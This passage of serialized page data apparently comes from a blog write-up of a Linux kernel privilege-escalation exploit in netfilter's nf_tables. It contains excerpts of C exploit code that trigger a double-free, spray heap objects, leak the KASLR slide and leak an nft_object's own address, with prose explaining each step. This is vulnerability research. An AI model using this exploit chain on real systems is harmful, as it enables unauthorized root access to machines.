",{"type":24,"tag":90,"props":56483,"children":56484},{"style":1085},[56485],{"type":29,"value":56486},"\"pwnobj\"",{"type":24,"tag":90,"props":56488,"children":56489},{"style":114},[56490],{"type":29,"value":133},{"type":24,"tag":90,"props":56492,"children":56493},{"style":349},[56494],{"type":29,"value":56495},"7",{"type":24,"tag":90,"props":56497,"children":56498},{"style":114},[56499],{"type":29,"value":571},{"type":24,"tag":90,"props":56501,"children":56502},{"class":92,"line":751},[56503,56507,56511,56515,56520,56524],{"type":24,"tag":90,"props":56504,"children":56505},{"style":108},[56506],{"type":29,"value":56468},{"type":24,"tag":90,"props":56508,"children":56509},{"style":114},[56510],{"type":29,"value":117},{"type":24,"tag":90,"props":56512,"children":56513},{"style":136},[56514],{"type":29,"value":53888},{"type":24,"tag":90,"props":56516,"children":56517},{"style":114},[56518],{"type":29,"value":56519},"[i], NFTNL_SET_ELEM_KEY, ",{"type":24,"tag":90,"props":56521,"children":56522},{"style":120},[56523],{"type":29,"value":123},{"type":24,"tag":90,"props":56525,"children":56526},{"style":114},[56527],{"type":29,"value":56528},"key, KEY_LEN);\n",{"type":24,"tag":90,"props":56530,"children":56531},{"class":92,"line":782},[56532,56536,56540,56544,56549,56553],{"type":24,"tag":90,"props":56533,"children":56534},{"style":108},[56535],{"type":29,"value":56468},{"type":24,"tag":90,"props":56537,"children":56538},{"style":114},[56539],{"type":29,"value":117},{"type":24,"tag":90,"props":56541,"children":56542},{"style":136},[56543],{"type":29,"value":53888},{"type":24,"tag":90,"props":56545,"children":56546},{"style":114},[56547],{"type":29,"value":56548},"[i], NFTNL_SET_ELEM_USERDATA, ",{"type":24,"tag":90,"props":56550,"children":56551},{"style":120},[56552],{"type":29,"value":123},{"type":24,"tag":90,"props":56554,"children":56555},{"style":114},[56556],{"type":29,"value":56557},"udata_buf, size);\n",{"type":24,"tag":90,"props":56559,"children":56560},{"class":92,"line":791},[56561,56566,56571,56575],{"type":24,"tag":90,"props":56562,"children":56563},{"style":108},[56564],{"type":29,"value":56565}," nftnl_set_elem_add",{"type":24,"tag":90,"props":56567,"children":56568},{"style":114},[56569],{"type":29,"value":56570},"(set, ",{"type":24,"tag":90,"props":56572,"children":56573},{"style":136},[56574],{"type":29,"value":53888},{"type":24,"tag":90,"props":56576,"children":56577},{"style":114},[56578],{"type":29,"value":56579},"[i]);\n",{"type":24,"tag":90,"props":56581,"children":56582},{"class":92,"line":799},[56583],{"type":24,"tag":90,"props":56584,"children":56585},{"style":114},[56586],{"type":29,"value":612},{"type":24,"tag":90,"props":56588,"children":56589},{"class":92,"line":807},[56590],{"type":24,"tag":90,"props":56591,"children":56592},{"style":114},[56593],{"type":29,"value":12686},{"type":24,"tag":90,"props":56595,"children":56596},{"class":92,"line":821},[56597],{"type":24,"tag":90,"props":56598,"children":56599},{"emptyLinePlaceholder":16},[56600],{"type":29,"value":245},{"type":24,"tag":90,"props":56602,"children":56603},{"class":92,"line":6278},[56604],{"type":24,"tag":90,"props":56605,"children":56606},{"style":114},[56607],{"type":29,"value":56608}," // TRANSACTION 3\n",{"type":24,"tag":90,"props":56610,"children":56611},{"class":92,"line":11420},[56612],{"type":24,"tag":90,"props":56613,"children":56614},{"style":114},[56615],{"type":29,"value":12686},{"type":24,"tag":90,"props":56617,"children":56618},{"class":92,"line":11438},[56619],{"type":24,"tag":90,"props":56620,"children":56621},{"style":114},[56622],{"type":29,"value":56623}," set = nftnl_set_alloc();\n",{"type":24,"tag":90,"props":56625,"children":56626},{"class":92,"line":11483},[56627,56632],{"type":24,"tag":90,"props":56628,"children":56629},{"style":108},[56630],{"type":29,"value":56631}," nftnl_set_set_u32",{"type":24,"tag":90,"props":56633,"children":56634},{"style":114},[56635],{"type":29,"value":56636},"(set, NFTNL_SET_FAMILY, family);\n",{"type":24,"tag":90,"props":56638,"children":56639},{"class":92,"line":11589},[56640,56645],{"type":24,"tag":90,"props":56641,"children":56642},{"style":108},[56643],{"type":29,"value":56644}," nftnl_set_set_str",{"type":24,"tag":90,"props":56646,"children":56647},{"style":114},[56648],{"type":29,"value":56649},"(set, NFTNL_SET_TABLE, exploit_table_name);\n",{"type":24,"tag":90,"props":56651,"children":56652},{"class":92,"line":25306},[56653,56657,56662,56666],{"type":24,"tag":90,"props":56654,"children":56655},{"style":108},[56656],{"type":29,"value":56644},{"type":24,"tag":90,"props":56658,"children":56659},{"style":114},[56660],{"type":29,"value":56661},"(set, NFTNL_SET_NAME, ",{"type":24,"tag":90,"props":56663,"children":56664},{"style":1085},[56665],{"type":29,"value":56260},{"type":24,"tag":90,"props":56667,"children":56668},{"style":114},[56669],{"type":29,"value":571},{"type":24,"tag":90,"props":56671,"children":56672},{"class":92,"line":25341},[56673],{"type":24,"tag":90,"props":56674,"children":56675},{"emptyLinePlaceholder":16},[56676],{"type":29,"value":245},{"type":24,"tag":90,"props":56678,"children":56679},{"class":92,"line":25349},[56680],{"type":24,"tag":90,"props":56681,"children":56682},{"style":252},[56683],{"type":29,"value":56684}," // make priv->dirty true\n",{"type":24,"tag":90,"props":56686,"children":56687},{"class":92,"line":25357},[56688,56693,56697,56702],{"type":24,"tag":90,"props":56689,"children":56690},{"style":108},[56691],{"type":29,"value":56692}," memset",{"type":24,"tag":90,"props":56694,"children":56695},{"style":114},[56696],{"type":29,"value":56446},{"type":24,"tag":90,"props":56698,"children":56699},{"style":349},[56700],{"type":29,"value":56701},"0xff",{"type":24,"tag":90,"props":56703,"children":56704},{"style":114},[56705],{"type":29,"value":56706},", KEY_LEN);\n",{"type":24,"tag":90,"props":56708,"children":56709},{"class":92,"line":25366},[56710,56715,56719,56723,56727,56731,56735],{"type":24,"tag":90,"props":56711,"children":56712},{"style":136},[56713],{"type":29,"value":56714}," elem",{"type":24,"tag":90,"props":56716,"children":56717},{"style":114},[56718],{"type":29,"value":719},{"type":24,"tag":90,"props":56720,"children":56721},{"style":349},[56722],{"type":29,"value":3817},{"type":24,"tag":90,"props":56724,"children":56725},{"style":114},[56726],{"type":29,"value":11037},{"type":24,"tag":90,"props":56728,"children":56729},{"style":120},[56730],{"type":29,"value":5491},{"type":24,"tag":90,"props":56732,"children":56733},{"style":108},[56734],{"type":29,"value":56429},{"type":24,"tag":90,"props":56736,"children":56737},{"style":114},[56738],{"type":29,"value":236},{"type":24,"tag":90,"props":56740,"children":56741},{"class":92,"line":25408},[56742,56747,56751,56755,56759,56763,56768,56772,56776,56780],{"type":24,"tag":90,"props":56743,"children":56744},{"style":108},[56745],{"type":29,"value":56746}," nftnl_set_elem_set",{"type":24,"tag":90,"props":56748,"children":56749},{"style":114},[56750],{"type":29,"value":117},{"type":24,"tag":90,"props":56752,"children":56753},{"style":136},[56754],{"type":29,"value":53888},{"type":24,"tag":90,"props":56756,"children":56757},{"style":114},[56758],{"type":29,"value":719},{"type":24,"tag":90,"props":56760,"children":56761},{"style":349},[56762],{"type":29,"value":3817},{"type":24,"tag":90,"props":56764,"children":56765},{"style":114},[56766],{"type":29,"value":56767},"], NFTNL_SET_ELEM_OBJREF, ",{"type":24,"tag":90,"props":56769,"children":56770},{"style":1085},[56771],{"type":29,"value":56486},{"type":24,"tag":90,"props":56773,"children":56774},{"style":114},[56775],{"type":29,"value":133},{"type":24,"tag":90,"props":56777,"children":56778},{"style":349},[56779],{"type":29,"value":56495},{"type":24,"tag":90,"props":56781,"children":56782},{"style":114},[56783],{"type":29,"value":571},{"type":24,"tag":90,"props":56785,"children":56786},{"class":92,"line":25441},[56787,56791,56795,56799,56803,56807,56812,56816],{"type":24,"tag":90,"props":56788,"children":56789},{"style":108},[56790],{"type":29,"value":56746},{"type":24,"tag":90,"props":56792,"children":56793},{"style":114},[56794],{"type":29,"value":117},{"type":24,"tag":90,"props":56796,"children":56797},{"style":136},[56798],{"type":29,"value":53888},{"type":24,"tag":90,"props":56800,"children":56801},{"style":114},[56802],{"type":29,"value":719},{"type":24,"tag":90,"props":56804,"children":56805},{"style":349},[56806],{"type":29,"value":3817},{"type":24,"tag":90,"props":56808,"children":56809},{"style":114},[56810],{"type":29,"value":56811},"], NFTNL_SET_ELEM_KEY, ",{"type":24,"tag":90,"props":56813,"children":56814},{"style":120},[56815],{"type":29,"value":123},{"type":24,"tag":90,"props":56817,"children":56818},{"style":114},[56819],{"type":29,"value":56528},{"type":24,"tag":90,"props":56821,"children":56822},{"class":92,"line":25449},[56823,56828,56832,56836,56840,56844],{"type":24,"tag":90,"props":56824,"children":56825},{"style":108},[56826],{"type":29,"value":56827}," nftnl_set_elem_add",{"type":24,"tag":90,"props":56829,"children":56830},{"style":114},[56831],{"type":29,"value":56570},{"type":24,"tag":90,"props":56833,"children":56834},{"style":136},[56835],{"type":29,"value":53888},{"type":24,"tag":90,"props":56837,"children":56838},{"style":114},[56839],{"type":29,"value":719},{"type":24,"tag":90,"props":56841,"children":56842},{"style":349},[56843],{"type":29,"value":3817},{"type":24,"tag":90,"props":56845,"children":56846},{"style":114},[56847],{"type":29,"value":6137},{"type":24,"tag":90,"props":56849,"children":56850},{"class":92,"line":25457},[56851],{"type":24,"tag":90,"props":56852,"children":56853},{"style":114},[56854],{"type":29,"value":12686},{"type":24,"tag":90,"props":56856,"children":56857},{"class":92,"line":25466},[56858],{"type":24,"tag":90,"props":56859,"children":56860},{"emptyLinePlaceholder":16},[56861],{"type":29,"value":245},{"type":24,"tag":90,"props":56863,"children":56864},{"class":92,"line":25542},[56865],{"type":24,"tag":90,"props":56866,"children":56867},{"style":114},[56868],{"type":29,"value":56869}," // double-free commited elems\n",{"type":24,"tag":90,"props":56871,"children":56872},{"class":92,"line":25575},[56873],{"type":24,"tag":90,"props":56874,"children":56875},{"style":114},[56876],{"type":29,"value":12686},{"type":24,"tag":90,"props":56878,"children":56879},{"class":92,"line":25583},[56880,56885,56889],{"type":24,"tag":90,"props":56881,"children":56882},{"style":114},[56883],{"type":29,"value":56884}," nftnl_set_free(",{"type":24,"tag":90,"props":56886,"children":56887},{"style":146},[56888],{"type":29,"value":52843},{"type":24,"tag":90,"props":56890,"children":56891},{"style":114},[56892],{"type":29,"value":571},{"type":24,"tag":90,"props":56894,"children":56895},{"class":92,"line":25591},[56896],{"type":24,"tag":90,"props":56897,"children":56898},{"style":114},[56899],{"type":29,"value":827},{"type":24,"tag":90,"props":56901,"children":56902},{"class":92,"line":25628},[56903],{"type":24,"tag":90,"props":56904,"children":56905},{"style":114},[56906],{"type":29,"value":12686},{"type":24,"tag":1019,"props":56908,"children":56910},{"id":56909},"leaking-kaslr",[56911],{"type":29,"value":56912},"Leaking KASLR",{"type":24,"tag":25,"props":56914,"children":56915},{},[56916,56918,56924,56926,56931,56933,56939,56941,56947,56949],{"type":29,"value":56917},"Tables contain an outline user data buffer ",{"type":24,"tag":32,"props":56919,"children":56921},{"className":56920},[],[56922],{"type":29,"value":56923},"udata",{"type":29,"value":56925}," that we can both read and write. By allocating a ",{"type":24,"tag":32,"props":56927,"children":56929},{"className":56928},[],[56930],{"type":29,"value":56923},{"type":29,"value":56932}," buffer on the double-free slot and then overlapping it with an ",{"type":24,"tag":32,"props":56934,"children":56936},{"className":56935},[],[56937],{"type":29,"value":56938},"nft_object",{"type":29,"value":56940}," we can leak the ",{"type":24,"tag":32,"props":56942,"children":56944},{"className":56943},[],[56945],{"type":29,"value":56946},"->ops",{"type":29,"value":56948}," pointer, and use it to calculate the KASLR slide.\n",{"type":24,"tag":6301,"props":56950,"children":56952},{"alt":52402,"src":56951},"/posts/netfilter-universal-root-1-day/kaslr.png",[],{"type":24,"tag":80,"props":56954,"children":56956},{"className":30921,"code":56955,"language":30923,"meta":7,"style":7},"[...]\n // spray 3 udata buffers to consume elems A, B and A again\n udata_spray(nl, 0xe8, 0, 3, NULL);\n\n // check if overlap happened (i.e if we have to overlapping udata buffers)\n char spray_name[16];\n char *udata[3];\n for (int i = 0; i \u003C 3; i++)\n {\n snprintf(spray_name, sizeof(spray_name), \"spray-%i\", i);\n udata[i] = getudata(nl, spray_name);\n }\n if (udata[0][0] == udata[2][0])\n {\n puts(\"[+] got duplicated table\");\n }\n\n // Replace one of the udata buffers with nft_object\n // and read it's counterpart to leak the nft_object struct\n puts(\"[*] Info leak\");\n deludata_spray(nl, 0, 1);\n wait_destroyer();\n obj_spray(nl, 0, 1, NULL, 0);\n uint64_t *fake_obj = (uint64_t *)getudata(nl, \"spray-2\");\n[...]\n",[56957],{"type":24,"tag":32,"props":56958,"children":56959},{"__ignoreMap":7},[56960,56967,56975,57010,57017,57025,57050,57077,57128,57135,57168,57194,57201,57266,57273,57294,57301,57308,57316,57324,57345,57374,57386,57430,57486],{"type":24,"tag":90,"props":56961,"children":56962},{"class":92,"line":93},[56963],{"type":24,"tag":90,"props":56964,"children":56965},{"style":114},[56966],{"type":29,"value":12686},{"type":24,"tag":90,"props":56968,"children":56969},{"class":92,"line":200},[56970],{"type":24,"tag":90,"props":56971,"children":56972},{"style":114},[56973],{"type":29,"value":56974}," // spray 3 udata buffers to consume elems A, B and A again\n",{"type":24,"tag":90,"props":56976,"children":56977},{"class":92,"line":239},[56978,56983,56987,56992,56997,57002,57006],{"type":24,"tag":90,"props":56979,"children":56980},{"style":114},[56981],{"type":29,"value":56982}," udata_spray(",{"type":24,"tag":90,"props":56984,"children":56985},{"style":146},[56986],{"type":29,"value":56114},{"type":24,"tag":90,"props":56988,"children":56989},{"style":114},[56990],{"type":29,"value":56991},", 0",{"type":24,"tag":90,"props":56993,"children":56994},{"style":146},[56995],{"type":29,"value":56996},"xe8",{"type":24,"tag":90,"props":56998,"children":56999},{"style":114},[57000],{"type":29,"value":57001},", 0, 3, ",{"type":24,"tag":90,"props":57003,"children":57004},{"style":146},[57005],{"type":29,"value":56320},{"type":24,"tag":90,"props":57007,"children":57008},{"style":114},[57009],{"type":29,"value":571},{"type":24,"tag":90,"props":57011,"children":57012},{"class":92,"line":248},[57013],{"type":24,"tag":90,"props":57014,"children":57015},{"emptyLinePlaceholder":16},[57016],{"type":29,"value":245},{"type":24,"tag":90,"props":57018,"children":57019},{"class":92,"line":258},[57020],{"type":24,"tag":90,"props":57021,"children":57022},{"style":252},[57023],{"type":29,"value":57024}," // check if overlap happened (i.e if we have to overlapping udata buffers)\n",{"type":24,"tag":90,"props":57026,"children":57027},{"class":92,"line":272},[57028,57033,57038,57042,57046],{"type":24,"tag":90,"props":57029,"children":57030},{"style":97},[57031],{"type":29,"value":57032}," char",{"type":24,"tag":90,"props":57034,"children":57035},{"style":136},[57036],{"type":29,"value":57037}," spray_name",{"type":24,"tag":90,"props":57039,"children":57040},{"style":114},[57041],{"type":29,"value":719},{"type":24,"tag":90,"props":57043,"children":57044},{"style":349},[57045],{"type":29,"value":42664},{"type":24,"tag":90,"props":57047,"children":57048},{"style":114},[57049],{"type":29,"value":33387},{"type":24,"tag":90,"props":57051,"children":57052},{"class":92,"line":281},[57053,57057,57061,57065,57069,57073],{"type":24,"tag":90,"props":57054,"children":57055},{"style":97},[57056],{"type":29,"value":57032},{"type":24,"tag":90,"props":57058,"children":57059},{"style":120},[57060],{"type":29,"value":366},{"type":24,"tag":90,"props":57062,"children":57063},{"style":136},[57064],{"type":29,"value":56923},{"type":24,"tag":90,"props":57066,"children":57067},{"style":114},[57068],{"type":29,"value":719},{"type":24,"tag":90,"props":57070,"children":57071},{"style":349},[57072],{"type":29,"value":3817},{"type":24,"tag":90,"props":57074,"children":57075},{"style":114},[57076],{"type":29,"value":33387},{"type":24,"tag":90,"props":57078,"children":57079},{"class":92,"line":384},[57080,57084,57088,57092,57096,57100,57104,57108,57112,57116,57120,57124],{"type":24,"tag":90,"props":57081,"children":57082},{"style":636},[57083],{"type":29,"value":5434},{"type":24,"tag":90,"props":57085,"children":57086},{"style":114},[57087],{"type":29,"value":1151},{"type":24,"tag":90,"props":57089,"children":57090},{"style":97},[57091],{"type":29,"value":20841},{"type":24,"tag":90,"props":57093,"children":57094},{"style":114},[57095],{"type":29,"value":56368},{"type":24,"tag":90,"props":57097,"children":57098},{"style":120},[57099],{"type":29,"value":5491},{"type":24,"tag":90,"props":57101,"children":57102},{"style":349},[57103],{"type":29,"value":5448},{"type":24,"tag":90,"props":57105,"children":57106},{"style":114},[57107],{"type":29,"value":53057},{"type":24,"tag":90,"props":57109,"children":57110},{"style":120},[57111],{"type":29,"value":1575},{"type":24,"tag":90,"props":57113,"children":57114},{"style":349},[57115],{"type":29,"value":20893},{"type":24,"tag":90,"props":57117,"children":57118},{"style":114},[57119],{"type":29,"value":53088},{"type":24,"tag":90,"props":57121,"children":57122},{"style":120},[57123],{"type":29,"value":53093},{"type":24,"tag":90,"props":57125,"children":57126},{"style":114},[57127],{"type":29,"value":1686},{"type":24,"tag":90,"props":57129,"children":57130},{"class":92,"line":420},[57131],{"type":24,"tag":90,"props":57132,"children":57133},{"style":114},[57134],{"type":29,"value":30998},{"type":24,"tag":90,"props":57136,"children":57137},{"class":92,"line":428},[57138,57143,57148,57153,57158,57163],{"type":24,"tag":90,"props":57139,"children":57140},{"style":108},[57141],{"type":29,"value":57142}," snprintf",{"type":24,"tag":90,"props":57144,"children":57145},{"style":114},[57146],{"type":29,"value":57147},"(spray_name, ",{"type":24,"tag":90,"props":57149,"children":57150},{"style":97},[57151],{"type":29,"value":57152},"sizeof",{"type":24,"tag":90,"props":57154,"children":57155},{"style":114},[57156],{"type":29,"value":57157},"(spray_name), ",{"type":24,"tag":90,"props":57159,"children":57160},{"style":1085},[57161],{"type":29,"value":57162},"\"spray-%i\"",{"type":24,"tag":90,"props":57164,"children":57165},{"style":114},[57166],{"type":29,"value":57167},", i);\n",{"type":24,"tag":90,"props":57169,"children":57170},{"class":92,"line":437},[57171,57176,57180,57184,57189],{"type":24,"tag":90,"props":57172,"children":57173},{"style":136},[57174],{"type":29,"value":57175}," udata",{"type":24,"tag":90,"props":57177,"children":57178},{"style":114},[57179],{"type":29,"value":56420},{"type":24,"tag":90,"props":57181,"children":57182},{"style":120},[57183],{"type":29,"value":5491},{"type":24,"tag":90,"props":57185,"children":57186},{"style":108},[57187],{"type":29,"value":57188}," getudata",{"type":24,"tag":90,"props":57190,"children":57191},{"style":114},[57192],{"type":29,"value":57193},"(nl, spray_name);\n",{"type":24,"tag":90,"props":57195,"children":57196},{"class":92,"line":574},[57197],{"type":24,"tag":90,"props":57198,"children":57199},{"style":114},[57200],{"type":29,"value":612},{"type":24,"tag":90,"props":57202,"children":57203},{"class":92,"line":606},[57204,57208,57212,57216,57220,57224,57228,57232,57236,57240,57245,57249,57253,57257,57261],{"type":24,"tag":90,"props":57205,"children":57206},{"style":636},[57207],{"type":29,"value":639},{"type":24,"tag":90,"props":57209,"children":57210},{"style":114},[57211],{"type":29,"value":1151},{"type":24,"tag":90,"props":57213,"children":57214},{"style":136},[57215],{"type":29,"value":56923},{"type":24,"tag":90,"props":57217,"children":57218},{"style":114},[57219],{"type":29,"value":719},{"type":24,"tag":90,"props":57221,"children":57222},{"style":349},[57223],{"type":29,"value":6408},{"type":24,"tag":90,"props":57225,"children":57226},{"style":114},[57227],{"type":29,"value":50781},{"type":24,"tag":90,"props":57229,"children":57230},{"style":349},[57231],{"type":29,"value":6408},{"type":24,"tag":90,"props":57233,"children":57234},{"style":114},[57235],{"type":29,"value":11037},{"type":24,"tag":90,"props":57237,"children":57238},{"style":120},[57239],{"type":29,"value":10951},{"type":24,"tag":90,"props":57241,"children":57242},{"style":136},[57243],{"type":29,"value":57244}," udata",{"type":24,"tag":90,"props":57246,"children":57247},{"style":114},[57248],{"type":29,"value":719},{"type":24,"tag":90,"props":57250,"children":57251},{"style":349},[57252],{"type":29,"value":3191},{"type":24,"tag":90,"props":57254,"children":57255},{"style":114},[57256],{"type":29,"value":50781},{"type":24,"tag":90,"props":57258,"children":57259},{"style":349},[57260],{"type":29,"value":6408},{"type":24,"tag":90,"props":57262,"children":57263},{"style":114},[57264],{"type":29,"value":57265},"])\n",{"type":24,"tag":90,"props":57267,"children":57268},{"class":92,"line":615},[57269],{"type":24,"tag":90,"props":57270,"children":57271},{"style":114},[57272],{"type":29,"value":30998},{"type":24,"tag":90,"props":57274,"children":57275},{"class":92,"line":623},[57276,57281,57285,57290],{"type":24,"tag":90,"props":57277,"children":57278},{"style":108},[57279],{"type":29,"value":57280}," puts",{"type":24,"tag":90,"props":57282,"children":57283},{"style":114},[57284],{"type":29,"value":117},{"type":24,"tag":90,"props":57286,"children":57287},{"style":1085},[57288],{"type":29,"value":57289},"\"[+] got duplicated table\"",{"type":24,"tag":90,"props":57291,"children":57292},{"style":114},[57293],{"type":29,"value":571},{"type":24,"tag":90,"props":57295,"children":57296},{"class":92,"line":632},[57297],{"type":24,"tag":90,"props":57298,"children":57299},{"style":114},[57300],{"type":29,"value":612},{"type":24,"tag":90,"props":57302,"children":57303},{"class":92,"line":669},[57304],{"type":24,"tag":90,"props":57305,"children":57306},{"emptyLinePlaceholder":16},[57307],{"type":29,"value":245},{"type":24,"tag":90,"props":57309,"children":57310},{"class":92,"line":683},[57311],{"type":24,"tag":90,"props":57312,"children":57313},{"style":252},[57314],{"type":29,"value":57315}," // Replace one of the udata buffers with nft_object\n",{"type":24,"tag":90,"props":57317,"children":57318},{"class":92,"line":737},[57319],{"type":24,"tag":90,"props":57320,"children":57321},{"style":252},[57322],{"type":29,"value":57323}," // and read it's counterpart to leak the nft_object struct\n",{"type":24,"tag":90,"props":57325,"children":57326},{"class":92,"line":751},[57327,57332,57336,57341],{"type":24,"tag":90,"props":57328,"children":57329},{"style":108},[57330],{"type":29,"value":57331}," puts",{"type":24,"tag":90,"props":57333,"children":57334},{"style":114},[57335],{"type":29,"value":117},{"type":24,"tag":90,"props":57337,"children":57338},{"style":1085},[57339],{"type":29,"value":57340},"\"[*] Info leak\"",{"type":24,"tag":90,"props":57342,"children":57343},{"style":114},[57344],{"type":29,"value":571},{"type":24,"tag":90,"props":57346,"children":57347},{"class":92,"line":782},[57348,57353,57358,57362,57366,57370],{"type":24,"tag":90,"props":57349,"children":57350},{"style":108},[57351],{"type":29,"value":57352}," deludata_spray",{"type":24,"tag":90,"props":57354,"children":57355},{"style":114},[57356],{"type":29,"value":57357},"(nl, ",{"type":24,"tag":90,"props":57359,"children":57360},{"style":349},[57361],{"type":29,"value":6408},{"type":24,"tag":90,"props":57363,"children":57364},{"style":114},[57365],{"type":29,"value":133},{"type":24,"tag":90,"props":57367,"children":57368},{"style":349},[57369],{"type":29,"value":534},{"type":24,"tag":90,"props":57371,"children":57372},{"style":114},[57373],{"type":29,"value":571},{"type":24,"tag":90,"props":57375,"children":57376},{"class":92,"line":791},[57377,57382],{"type":24,"tag":90,"props":57378,"children":57379},{"style":108},[57380],{"type":29,"value":57381}," wait_destroyer",{"type":24,"tag":90,"props":57383,"children":57384},{"style":114},[57385],{"type":29,"value":236},{"type":24,"tag":90,"props":57387,"children":57388},{"class":92,"line":799},[57389,57394,57398,57402,57406,57410,57414,57418,57422,57426],{"type":24,"tag":90,"props":57390,"children":57391},{"style":108},[57392],{"type":29,"value":57393}," obj_spray",{"type":24,"tag":90,"props":57395,"children":57396},{"style":114},[57397],{"type":29,"value":57357},{"type":24,"tag":90,"props":57399,"children":57400},{"style":349},[57401],{"type":29,"value":6408},{"type":24,"tag":90,"props":57403,"children":57404},{"style":114},[57405],{"type":29,"value":133},{"type":24,"tag":90,"props":57407,"children":57408},{"style":349},[57409],{"type":29,"value":534},{"type":24,"tag":90,"props":57411,"children":57412},{"style":114},[57413],{"type":29,"value":133},{"type":24,"tag":90,"props":57415,"children":57416},{"style":97},[57417],{"type":29,"value":56320},{"type":24,"tag":90,"props":57419,"children":57420},{"style":114},[57421],{"type":29,"value":133},{"type":24,"tag":90,"props":57423,"children":57424},{"style":349},[57425],{"type":29,"value":6408},{"type":24,"tag":90,"props":57427,"children":57428},{"style":114},[57429],{"type":29,"value":571},{"type":24,"tag":90,"props":57431,"children":57432},{"class":92,"line":807},[57433,57438,57442,57447,57451,57455,57460,57464,57468,57473,57477,57482],{"type":24,"tag":90,"props":57434,"children":57435},{"style":97},[57436],{"type":29,"value":57437}," uint64_t",{"type":24,"tag":90,"props":57439,"children":57440},{"style":120},[57441],{"type":29,"value":366},{"type":24,"tag":90,"props":57443,"children":57444},{"style":114},[57445],{"type":29,"value":57446},"fake_obj ",{"type":24,"tag":90,"props":57448,"children":57449},{"style":120},[57450],{"type":29,"value":5491},{"type":24,"tag":90,"props":57452,"children":57453},{"style":114},[57454],{"type":29,"value":1151},{"type":24,"tag":90,"props":57456,"children":57457},{"style":97},[57458],{"type":29,"value":57459},"uint64_t",{"type":24,"tag":90,"props":57461,"children":57462},{"style":120},[57463],{"type":29,"value":366},{"type":24,"tag":90,"props":57465,"children":57466},{"style":114},[57467],{"type":29,"value":517},{"type":24,"tag":90,"props":57469,"children":57470},{"style":108},[57471],{"type":29,"value":57472},"getudata",{"type":24,"tag":90,"props":57474,"children":57475},{"style":114},[57476],{"type":29,"value":57357},{"type":24,"tag":90,"props":57478,"children":57479},{"style":1085},[57480],{"type":29,"value":57481},"\"spray-2\"",{"type":24,"tag":90,"props":57483,"children":57484},{"style":114},[57485],{"type":29,"value":571},{"type":24,"tag":90,"props":57487,"children":57488},{"class":92,"line":821},[57489],{"type":24,"tag":90,"props":57490,"children":57491},{"style":114},[57492],{"type":29,"value":12686},{"type":24,"tag":1019,"props":57494,"children":57496},{"id":57495},"leaking-self-pointer-of-nft_object",[57497,57499],{"type":29,"value":57498},"Leaking self pointer of ",{"type":24,"tag":32,"props":57500,"children":57502},{"className":57501},[],[57503],{"type":29,"value":56938},{"type":24,"tag":25,"props":57505,"children":57506},{},[57507,57509,57514,57516,57521,57523,57528,57530,57536],{"type":29,"value":57508},"As I'll discuss in more depth in the ROP section, the exploit relies on a known address of controllable memory to work. I decided to use the ",{"type":24,"tag":32,"props":57510,"children":57512},{"className":57511},[],[57513],{"type":29,"value":56938},{"type":29,"value":57515}," to get its own address. This is possible because the ",{"type":24,"tag":32,"props":57517,"children":57519},{"className":57518},[],[57520],{"type":29,"value":56938},{"type":29,"value":57522}," has a ",{"type":24,"tag":32,"props":57524,"children":57526},{"className":57525},[],[57527],{"type":29,"value":56923},{"type":29,"value":57529}," pointer (similar to ",{"type":24,"tag":32,"props":57531,"children":57533},{"className":57532},[],[57534],{"type":29,"value":57535},"table->udata",{"type":29,"value":57537}," that I used for leaking KASLR), that I can use to read/write data.",{"type":24,"tag":25,"props":57539,"children":57540},{},[57541,57542,57547,57549,57555,57557,57562,57564,57570,57572,57578,57580,57585,57587,57592,57594,57599,57601],{"type":29,"value":3131},{"type":24,"tag":32,"props":57543,"children":57545},{"className":57544},[],[57546],{"type":29,"value":56938},{"type":29,"value":57548}," struct also contains a ",{"type":24,"tag":32,"props":57550,"children":57552},{"className":57551},[],[57553],{"type":29,"value":57554},"list_head",{"type":29,"value":57556}," inserted in a circular list containing all ",{"type":24,"tag":32,"props":57558,"children":57560},{"className":57559},[],[57561],{"type":29,"value":56938},{"type":29,"value":57563},"'s that belong to a given ",{"type":24,"tag":32,"props":57565,"children":57567},{"className":57566},[],[57568],{"type":29,"value":57569},"table",{"type":29,"value":57571},". Considering that our object is currently alone in its table, the ",{"type":24,"tag":32,"props":57573,"children":57575},{"className":57574},[],[57576],{"type":29,"value":57577},"table->list.next",{"type":29,"value":57579}," pointer in the ",{"type":24,"tag":32,"props":57581,"children":57583},{"className":57582},[],[57584],{"type":29,"value":56938},{"type":29,"value":57586}," will point back to the ",{"type":24,"tag":32,"props":57588,"children":57590},{"className":57589},[],[57591],{"type":29,"value":57554},{"type":29,"value":57593}," contained in the ",{"type":24,"tag":32,"props":57595,"children":57597},{"className":57596},[],[57598],{"type":29,"value":57569},{"type":29,"value":57600}," and vice-versa.\n",{"type":24,"tag":6301,"props":57602,"children":57604},{"alt":52402,"src":57603},"/posts/netfilter-universal-root-1-day/nft-object.png",[],{"type":24,"tag":25,"props":57606,"children":57607},{},[57608,57610,57615,57617,57622,57624,57630,57632,57637,57638,57643,57645,57650,57652,57657],{"type":29,"value":57609},"In short, that means that if we swap the ",{"type":24,"tag":32,"props":57611,"children":57613},{"className":57612},[],[57614],{"type":29,"value":56923},{"type":29,"value":57616}," pointer of the ",{"type":24,"tag":32,"props":57618,"children":57620},{"className":57619},[],[57621],{"type":29,"value":56938},{"type":29,"value":57623}," with its own ",{"type":24,"tag":32,"props":57625,"children":57627},{"className":57626},[],[57628],{"type":29,"value":57629},"list.next",{"type":29,"value":57631}," pointer we should be able to read a pointer back to the ",{"type":24,"tag":32,"props":57633,"children":57635},{"className":57634},[],[57636],{"type":29,"value":56938},{"type":29,"value":54163},{"type":24,"tag":32,"props":57639,"children":57641},{"className":57640},[],[57642],{"type":29,"value":57554},{"type":29,"value":57644}," which is also the start of the ",{"type":24,"tag":32,"props":57646,"children":57648},{"className":57647},[],[57649],{"type":29,"value":56938},{"type":29,"value":57651}," itself.\n",{"type":24,"tag":7711,"props":57653,"children":57654},{},[57655],{"type":29,"value":57656},"NOTE:",{"type":29,"value":57658}," This is a novel small trick.",{"type":24,"tag":80,"props":57660,"children":57662},{"className":30921,"code":57661,"language":30923,"meta":7,"style":7},"[...]\n // Leak nft_object ptr using table linked list\n fake_obj[8] = 8; // ulen = 8\n fake_obj[9] = fake_obj[0]; // udata = list->next\n deludata_spray(nl, 2, 1);\n wait_destroyer();\n udata_spray(nl, 0xe8, 3, 1, fake_obj);\n\n get_obj(nl, \"spray-0\", true);\n printf(\"[*] nft_object ptr: 0x%lx\\n\", 